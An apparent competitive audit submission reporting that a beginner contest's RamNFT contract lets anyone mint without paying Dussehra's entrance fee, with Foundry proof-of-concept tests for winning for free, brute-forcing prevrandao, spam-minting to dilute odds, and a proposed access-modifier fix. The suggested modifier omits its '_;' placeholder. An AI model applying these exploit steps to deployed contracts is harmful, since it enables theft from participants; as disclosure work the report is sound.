Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can mint a RamNFT allowing users to skip entrance fee.

Summary

Anyone can enter for free by minting a RamNFT.

Vulnerability Details

Having a RamNFT allows you to participate. However, you can mint one without paying the entrance fee charged in Dussehra.sol::enterPeopleWhoLikeRam by minting directly from the RamNFT.sol contract. Meaning you can participate for free.

Impact 1

Users can win eth without investing any (apart from gas).

Proof of Code

function test_canWinWithoutPaying() public participants {
uint256 player3TokenId = ramNFT.getNextTokenId();
assertEq(player3.balance, 0);
vm.startPrank(player3);
ramNFT.mintRamNFT(player3);
vm.warp(1722470400);
vm.prevrandao(bytes32(0));
uint256 prevrandao;
vm.warp(1728691200 + 1);
for (uint256 i = 0; i < 100; i++) {
vm.prevrandao(bytes32(i));
if (
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter()
== player3TokenId
) {
prevrandao = i;
break;
}
}
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
dussehra.killRavana();
vm.startPrank(player3);
dussehra.withdraw();
vm.stopPrank();
assertEq(player3.balance, 1 ether);
}

Impact 2

You can mint a bunch of nfts and make RamNFT.sol::tokenCounter artificially high and make the chance of winning for legitimate users tiny as ChoosingRam.sol::selectRamIfNotSelected chooses a "random" user based on the RamNFT.sol::tokenCounter.

Proof of Code

function test_spamMintNft() public participants {
vm.startPrank(player3);
for (uint256 i = 0; i < 1000; i++) {
ramNFT.mintRamNFT(player1);
}
vm.stopPrank();
uint256 wantToBeLikeRamLength = 2; // 2 legit users
assertEq(ramNFT.tokenCounter(), 1002);
assertEq(address(dussehra).balance, 2 ether);
// Typical expected value is 0.5 ether. 1 ether from each player with a 50% fee
// But since we minted 1000 NFTs, the expected value is < 0.001 ether
}

The inflated tokenCounter causes the variable random to be a number between 0 and 1001 instead of between 0 and 1

function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
if (block.timestamp < 1728691200) {
revert ChoosingRam__TimeToBeLikeRamIsNotFinish();
}
if (block.timestamp > 1728777600) {
revert ChoosingRam__EventIsFinished();
}
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
selectedRam = ramNFT.getCharacteristics(random).ram;
isRamSelected = true;
}

Tools Used

Manual review

Recommendations

Add an access modifier to RamNFT.sol::mintRamNFT.

Implementation

+ address dussehraContract;
constructor(address _dussehraContract) ERC721("RamNFT", "RAM") {
tokenCounter = 0;
organiser = msg.sender;
+ dussehraContract = _dussehraContract;
}
+ modifier onlyDussehra {
+ if(msg.sender != dussehraContract) revert();
+ }
- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyDussehra {
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.